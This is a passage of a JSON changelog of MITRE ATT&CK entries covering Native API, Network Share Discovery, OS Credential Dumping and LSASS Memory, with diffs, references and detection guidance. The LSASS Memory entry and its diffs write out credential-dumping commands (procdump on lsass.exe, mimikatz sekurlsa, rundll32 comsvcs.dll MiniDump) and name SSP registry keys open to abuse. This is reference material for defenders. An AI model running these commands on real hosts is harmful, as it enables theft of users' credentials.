Monitoring for DLL loads, especially to abnormal/unusual or potentially malicious processes, may indicate abuse of the Windows API. Though noisy, this data can be combined with other indicators to identify adversary activity. \", \"old_value\": \"Monitoring API calls may generate a significant amount of data and may not be useful for defense unless collected under specific circumstances, since benign use of API functions are common and difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient. \\n\\nUtilization of the Windows API may involve processes loading/accessing system DLLs associated with providing called functions (ex: kernel32.dll, advapi32.dll, user32.dll, and gdi32.dll). Monitoring for DLL loads, especially to abnormal/unusual or potentially malicious processes, may indicate abuse of the Windows API. Though noisy, this data can be combined with other indicators to identify adversary activity. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Monitoring API calls may generate a significant amount of data and may not be useful for defense unless collected under specific circumstances, since benign use of API functions are common and difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient. \\n+Monitoring API calls may generate a significant amount of data and may not be useful for defense unless collected under specific circumstances, since benign use of API functions are common and may be difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient. \\n \\n-Utilization of the Windows API may involve processes loading/accessing system DLLs associated with providing called functions (ex: kernel32.dll, advapi32.dll, user32.dll, and gdi32.dll). Monitoring for DLL loads, especially to abnormal/unusual or potentially malicious processes, may indicate abuse of the Windows API. Though noisy, this data can be combined with other indicators to identify adversary activity. \\n+Utilization of the Windows APIs may involve processes loading/accessing system DLLs associated with providing called functions (ex: ntdll.dll, kernel32.dll, advapi32.dll, user32.dll, and gdi32.dll). Monitoring for DLL loads, especially to abnormal/unusual or potentially malicious processes, may indicate abuse of the Windows API. Though noisy, this data can be combined with other indicators to identify adversary activity. \"}, \"root['x_mitre_version']\": {\"new_value\": \"2.1\", \"old_value\": \"2.0\"}}, \"iterable_item_added\": {\"root['external_references'][12]\": {\"source_name\": \"Apple Core Services\", \"description\": \"Apple. (n.d.). Core Services. Retrieved June 25, 2020.\", \"url\": \"https://developer.apple.com/documentation/coreservices\"}, \"root['external_references'][13]\": {\"source_name\": \"MACOS Cocoa\", \"description\": \"Apple. (2015, September 16). Cocoa Application Layer. Retrieved June 25, 2020.\", \"url\": \"https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/OSX_Technology_Overview/CocoaApplicationLayer/CocoaApplicationLayer.html#//apple_ref/doc/uid/TP40001067-CH274-SW1\"}, \"root['external_references'][14]\": {\"source_name\": \"macOS Foundation\", \"description\": \"Apple. (n.d.). Foundation. Retrieved July 1, 2020.\", \"url\": \"https://developer.apple.com/documentation/foundation\"}, \"root['x_mitre_contributors'][0]\": \"Gordon Long, Box, Inc., @ethicalhax\"}}", "previous_version": "2.0", "version_change": "2.0 \u2192 2.1", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may directly interact with the native OS applicat1Adversaries may interact with the native OS application prog
>tion programming interface (API) to execute behaviors. Nativ>ramming interface (API) to execute behaviors. Native APIs pr
>e APIs provide a controlled means of calling low-level OS se>ovide a controlled means of calling low-level OS services wi
>rvices within the kernel, such as those involving hardware/d>thin the kernel, such as those involving hardware/devices, m
>evices, memory, and processes.(Citation: NT API Windows)(Cit>emory, and processes.(Citation: NT API Windows)(Citation: Li
>ation: Linux Kernel API) These native APIs are leveraged by >nux Kernel API) These native APIs are leveraged by the OS du
>the OS during system boot (when other system components are >ring system boot (when other system components are not yet i
>not yet initialized) as well as carrying out tasks and reque>nitialized) as well as carrying out tasks and requests durin
>sts during routine operations.  Functionality provided by na>g routine operations.  Native API functions (such as <code>N
>tive APIs are often also exposed to user-mode applications v>tCreateProcess</code>) may be directed invoked via system ca
>ia interfaces and libraries. For example, functions such as >lls / syscalls, but these features are also often exposed to
>the Windows API <code>CreateProcess()</code> or GNU <code>fo> user-mode applications via interfaces and libraries. (Citat
>rk()</code> will allow programs and scripts to start other p>ion: OutFlank System Calls)(Citation: CyberBit System Calls)
>rocesses.(Citation: Microsoft CreateProcess)(Citation: GNU F>(Citation: MDSec System Calls) For example, functions such a
>ork) This may allow API callers to execute a binary, run a C>s the Windows API <code>CreateProcess()</code> or GNU <code>
>LI command, load modules, etc. as thousands of similar API f>fork()</code> will allow programs and scripts to start other
>unctions exist for various system operations.(Citation: Micr> processes.(Citation: Microsoft CreateProcess)(Citation: GNU
>osoft Win32)(Citation: LIBC)(Citation: GLIBC)  Higher level > Fork) This may allow API callers to execute a binary, run a
>software frameworks, such as Microsoft .NET and macOS Cocoa,> CLI command, load modules, etc. as thousands of similar API
> are also available to interact with native APIs. These fram> functions exist for various system operations.(Citation: Mi
>eworks typically provide language wrappers/abstractions to A>crosoft Win32)(Citation: LIBC)(Citation: GLIBC)  Higher leve
>PI functionalities and are designed for ease-of-use/portabil>l software frameworks, such as Microsoft .NET and macOS Coco
>ity of code.(Citation: Microsoft NET)(Citation: Apple Core S>a, are also available to interact with native APIs. These fr
>ervices)(Citation: MACOS Cocoa)(Citation: macOS Foundation) >ameworks typically provide language wrappers/abstractions to
> Adversaries may abuse these native API functions as a means> API functionalities and are designed for ease-of-use/portab
> of executing behaviors. Similar to [Command and Scripting I>ility of code.(Citation: Microsoft NET)(Citation: Apple Core
>nterpreter](https://attack.mitre.org/techniques/T1059), the > Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation
>native API and its hierarchy of interfaces, provide mechanis>)  Adversaries may abuse these OS API functions as a means o
>ms to interact with and utilize various components of a vict>f executing behaviors. Similar to [Command and Scripting Int
>imized system.>erpreter](https://attack.mitre.org/techniques/T1059), the na
 >tive API and its hierarchy of interfaces provide mechanisms 
 >to interact with and utilize various components of a victimi
 >zed system. While invoking API functions, adversaries may al
 >so attempt to bypass defensive tools (ex: unhooking monitore
 >d functions via [Disable or Modify Tools](https://attack.mit
 >re.org/techniques/T1562/001)).
", "changelog_mitigations": { "shared": [ "M1038: Execution Prevention" ], "new": [ "M1040: Behavior Prevention on Endpoint" ], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (OS API Execution)", "DS0011: Module (Module Load)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-12-14 16:46:06.044000+00:00", "modified": "2021-10-13 18:10:57.185000+00:00", "name": "Network Share Discovery", "description": "Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. \n\nFile sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) [Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the net view \\\\\\\\remotesystem command. It can also be used to query shared drives on the local system using net share. For macOS, the sharing -l command lists all shared points used for smb services.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "discovery" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1135", "external_id": "T1135" }, { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/643.html", "external_id": "CAPEC-643" }, { "source_name": "Wikipedia Shared Resource", "description": "Wikipedia. (2017, April 15). Shared resource. Retrieved June 30, 2017.", "url": "https://en.wikipedia.org/wiki/Shared_resource" }, { "source_name": "TechNet Shared Folder", "description": "Microsoft. (n.d.). Share a Folder or Drive. Retrieved June 30, 2017.", "url": "https://technet.microsoft.com/library/cc770880.aspx" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Praetorian" ], "x_mitre_data_sources": [ "Process: Process Creation", "Command: Command Execution", "Process: OS API Execution" ], "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", "x_mitre_is_subtechnique": false, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "macOS", "Windows", "Linux" ], "x_mitre_version": "3.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-13 18:10:57.185000+00:00\", \"old_value\": \"2020-12-29 19:07:11.154000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. \\n\\nFile sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) [Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the net view \\\\\\\\\\\\\\\\remotesystem command. It can also be used to query shared drives on the local system using net share. For macOS, the sharing -l command lists all shared points used for smb services.\", \"old_value\": \"Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. \\n\\nFile sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) [Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the net view \\\\\\\\\\\\\\\\remotesystem command. It can also be used to query shared drives on the local system using net share.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. \\n \\n-File sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) [Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the net view \\\\\\\\\\\\\\\\remotesystem command. It can also be used to query shared drives on the local system using net share.\\n+File sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) [Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the net view \\\\\\\\\\\\\\\\remotesystem command. It can also be used to query shared drives on the local system using net share. For macOS, the sharing -l command lists all shared points used for smb services.\"}, \"root['x_mitre_version']\": {\"new_value\": \"3.1\", \"old_value\": \"3.0\"}}}", "previous_version": "3.0", "version_change": "3.0 \u2192 3.1", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may look for folders and drives shared on remotet1Adversaries may look for folders and drives shared on remote
> systems as a means of identifying sources of information to> systems as a means of identifying sources of information to
> gather as a precursor for Collection and to identify potent> gather as a precursor for Collection and to identify potent
>ial systems of interest for Lateral Movement. Networks often>ial systems of interest for Lateral Movement. Networks often
> contain shared network drives and folders that enable users> contain shared network drives and folders that enable users
> to access file directories on various systems across a netw> to access file directories on various systems across a netw
>ork.   File sharing over a Windows network occurs over the S>ork.   File sharing over a Windows network occurs over the S
>MB protocol. (Citation: Wikipedia Shared Resource) (Citation>MB protocol. (Citation: Wikipedia Shared Resource) (Citation
>: TechNet Shared Folder) [Net](https://attack.mitre.org/soft>: TechNet Shared Folder) [Net](https://attack.mitre.org/soft
>ware/S0039) can be used to query a remote system for availab>ware/S0039) can be used to query a remote system for availab
>le shared drives using the <code>net view \\\\\\\\remotesystem</>le shared drives using the <code>net view \\\\\\\\remotesystem</
>code> command. It can also be used to query shared drives on>code> command. It can also be used to query shared drives on
> the local system using <code>net share</code>.> the local system using <code>net share</code>. For macOS, t
 >he <code>sharing -l</code> command lists all shared points u
 >sed for smb services.
", "changelog_mitigations": { "shared": [ "M1028: Operating System Configuration", "T1135: Network Share Discovery Mitigation" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (OS API Execution)", "DS0009: Process (Process Creation)", "DS0017: Command (Command Execution)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-05-31 21:30:19.735000+00:00", "modified": "2021-10-15 19:55:01.922000+00:00", "name": "OS Credential Dumping", "description": "Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and access restricted information.\n\nSeveral of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.\n", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "credential-access" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1003", "external_id": "T1003" }, { "source_name": "Medium Detecting Attempts to Steal Passwords from Memory", "description": "French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.", "url": "https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea" }, { "source_name": "Powersploit", "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.", "url": "https://github.com/mattifestation/PowerSploit" }, { "source_name": "Microsoft DRSR Dec 2017", "description": "Microsoft. (2017, December 1). MS-DRSR Directory Replication Service (DRS) Remote Protocol. Retrieved December 4, 2017.", "url": "https://msdn.microsoft.com/library/cc228086.aspx" }, { "source_name": "Microsoft GetNCCChanges", "description": "Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December 4, 2017.", "url": "https://msdn.microsoft.com/library/dd207691.aspx" }, { "source_name": "Samba DRSUAPI", "description": "SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017.", "url": "https://wiki.samba.org/index.php/DRSUAPI" }, { "source_name": "Harmj0y DCSync Sept 2015", "description": "Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017.", "url": "http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/" }, { "source_name": "Microsoft NRPC Dec 2017", "description": "Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol. Retrieved December 6, 2017.", "url": "https://msdn.microsoft.com/library/cc237008.aspx" }, { "source_name": "Microsoft SAMR", "description": "Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017.", "url": "https://msdn.microsoft.com/library/cc245496.aspx" }, { "source_name": "AdSecurity DCSync Sept 2015", "description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.", "url": "https://adsecurity.org/?p=1729" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Vincent Le Toux", "Ed Williams, Trustwave, SpiderLabs" ], "x_mitre_data_sources": [ "Process: Process Creation", "Process: Process Access", "Command: Command Execution", "File: File Access", "Windows Registry: Windows Registry Key Access", "Active Directory: Active Directory Object Access", "Network Traffic: Network Traffic Flow", "Network Traffic: Network Traffic Content", "Process: OS API Execution" ], "x_mitre_detection": "### Windows\nMonitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity.\n\nHash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well. \n\nOn Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.\n\nMonitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like [Mimikatz](https://attack.mitre.org/software/S0002). [PowerShell](https://attack.mitre.org/techniques/T1059/001) scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module, (Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nMonitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync. (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Note: Domain controllers may not log replication requests originating from the default domain controller account. (Citation: Harmj0y DCSync Sept 2015). Also monitor for network protocols (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests (Citation: Microsoft SAMR) from IPs not associated with known domain controllers. (Citation: AdSecurity DCSync Sept 2015)\n\n### Linux\nTo obtain the passwords and hashes stored in memory, processes must open a maps file in the /proc filesystem for the process being analyzed. This file is stored under the path /proc//maps, where the directory is the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs.", "x_mitre_is_subtechnique": false, "x_mitre_permissions_required": [ "Administrator", "SYSTEM", "root" ], "x_mitre_platforms": [ "Windows", "Linux", "macOS" ], "x_mitre_version": "2.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-15 19:55:01.922000+00:00\", \"old_value\": \"2021-02-09 14:15:25.186000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.1\", \"old_value\": \"2.0\"}}}", "previous_version": "2.0", "version_change": "2.0 \u2192 2.1", "changelog_mitigations": { "shared": [ "M1015: Active Directory Configuration", "M1017: User Training", "M1025: Privileged Process Integrity", "M1026: Privileged Account Management", "M1027: Password Policies", "M1028: Operating System Configuration", "M1041: Encrypt Sensitive Information", "M1043: Credential Access Protection", "T1003: Credential Dumping Mitigation" ], "new": [ "M1040: Behavior Prevention on Endpoint" ], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (OS API Execution)", "DS0009: Process (Process Access)", "DS0009: Process (Process Creation)", "DS0017: Command (Command Execution)", "DS0022: File (File Access)", "DS0024: Windows Registry (Windows Registry Key Access)", "DS0026: Active Directory (Active Directory Object Access)", "DS0029: Network Traffic (Network Traffic Content)", "DS0029: Network Traffic (Network Traffic Flow)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-02-11 18:41:44.783000+00:00", "modified": "2021-10-15 19:55:01.368000+00:00", "name": "LSASS Memory", "description": "Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct [Lateral Movement](https://attack.mitre.org/tactics/TA0008) using [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550).\n\nAs well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.\n\nFor example, on the target host use procdump:\n\n* procdump -ma lsass.exe lsass_dump\n\nLocally, mimikatz can be run using:\n\n* sekurlsa::Minidump lsassdump.dmp\n* sekurlsa::logonPasswords\n\nBuilt-in Windows tools such as comsvcs.dll can also be used:\n\n* rundll32.exe C:\\Windows\\System32\\comsvcs.dll MiniDump PID lsass.dmp full(Citation: Volexity Exchange Marauder March 2021)(Citation: Symantec Attacks Against Government Sector)\n\n\nWindows Security Support Provider (SSP) DLLs are loaded into LSSAS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages and HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)\n\nThe following SSPs can be used to access credentials:\n\n* Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.\n* Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.(Citation: TechNet Blogs Credential Protection)\n* Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.\n* CredSSP: Provides SSO and Network Level Authentication for Remote Desktop Services.(Citation: TechNet Blogs Credential Protection)\n", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "credential-access" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1003/001", "external_id": "T1003.001" }, { "source_name": "Volexity Exchange Marauder March 2021", "description": "Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021.", "url": "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/" }, { "source_name": "Symantec Attacks Against Government Sector", "description": "Symantec. (2021, June 10). Attacks Against the Government Sector. Retrieved September 28, 2021.", "url": "https://symantec.broadcom.com/hubfs/Attacks-Against-Government-Sector.pdf" }, { "source_name": "Graeber 2014", "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.", "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html" }, { "source_name": "TechNet Blogs Credential Protection", "description": "Wilson, B. (2016, April 18). The Importance of KB2871997 and KB2928120 for Credential Protection. Retrieved April 11, 2018.", "url": "https://blogs.technet.microsoft.com/askpfeplat/2016/04/18/the-importance-of-kb2871997-and-kb2928120-for-credential-protection/" }, { "source_name": "Medium Detecting Attempts to Steal Passwords from Memory", "description": "French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.", "url": "https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea" }, { "source_name": "Powersploit", "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.", "url": "https://github.com/mattifestation/PowerSploit" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Edward Millington", "Ed Williams, Trustwave, SpiderLabs" ], "x_mitre_data_sources": [ "Process: Process Creation", "Process: Process Access", "Command: Command Execution", "Process: OS API Execution" ], "x_mitre_detection": "Monitor for unexpected processes interacting with LSASS.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as Mimikatz access LSASS.exe by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity.\n\nOn Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.\n\nMonitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "Administrator", "SYSTEM" ], "x_mitre_platforms": [ "Windows" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-15 19:55:01.368000+00:00\", \"old_value\": \"2020-06-09 20:46:00.393000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct [Lateral Movement](https://attack.mitre.org/tactics/TA0008) using [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550).\\n\\nAs well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.\\n\\nFor example, on the target host use procdump:\\n\\n* procdump -ma lsass.exe lsass_dump\\n\\nLocally, mimikatz can be run using:\\n\\n* sekurlsa::Minidump lsassdump.dmp\\n* sekurlsa::logonPasswords\\n\\nBuilt-in Windows tools such as comsvcs.dll can also be used:\\n\\n* rundll32.exe C:\\\\Windows\\\\System32\\\\comsvcs.dll MiniDump PID lsass.dmp full(Citation: Volexity Exchange Marauder March 2021)(Citation: Symantec Attacks Against Government Sector)\\n\\n\\nWindows Security Support Provider (SSP) DLLs are loaded into LSSAS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\Security Packages and HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\OSConfig\\\\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)\\n\\nThe following SSPs can be used to access credentials:\\n\\n* Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.\\n* Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.(Citation: TechNet Blogs Credential Protection)\\n* Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.\\n* CredSSP: Provides SSO and Network Level Authentication for Remote Desktop Services.(Citation: TechNet Blogs Credential Protection)\\n\", \"old_value\": \"Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct [Lateral Movement](https://attack.mitre.org/tactics/TA0008) using [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550).\\n\\nAs well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.\\n\\nFor example, on the target host use procdump:\\n\\n* procdump -ma lsass.exe lsass_dump\\n\\nLocally, mimikatz can be run using:\\n\\n* sekurlsa::Minidump lsassdump.dmp\\n* sekurlsa::logonPasswords\\n\\n\\nWindows Security Support Provider (SSP) DLLs are loaded into LSSAS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\Security Packages and HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\OSConfig\\\\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)\\n\\nThe following SSPs can be used to access credentials:\\n\\n* Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.\\n* Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.(Citation: TechNet Blogs Credential Protection)\\n* Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.\\n* CredSSP: Provides SSO and Network Level Authentication for Remote Desktop Services.(Citation: TechNet Blogs Credential Protection)\\n\", \"diff\": \"--- \\n+++ \\n@@ -11,6 +11,10 @@\\n * sekurlsa::Minidump lsassdump.dmp\\n * sekurlsa::logonPasswords\\n \\n+Built-in Windows tools such as comsvcs.dll can also be used:\\n+\\n+* rundll32.exe C:\\\\Windows\\\\System32\\\\comsvcs.dll MiniDump PID lsass.dmp full(Citation: Volexity Exchange Marauder March 2021)(Citation: Symantec Attacks Against Government Sector)\\n+\\n \\n Windows Security Support Provider (SSP) DLLs are loaded into LSSAS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\Security Packages and HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\OSConfig\\\\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)\\n \"}, \"root['external_references'][1]['source_name']\": {\"new_value\": \"Volexity Exchange Marauder March 2021\", \"old_value\": \"Graeber 2014\"}, \"root['external_references'][1]['description']\": {\"new_value\": \"Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange 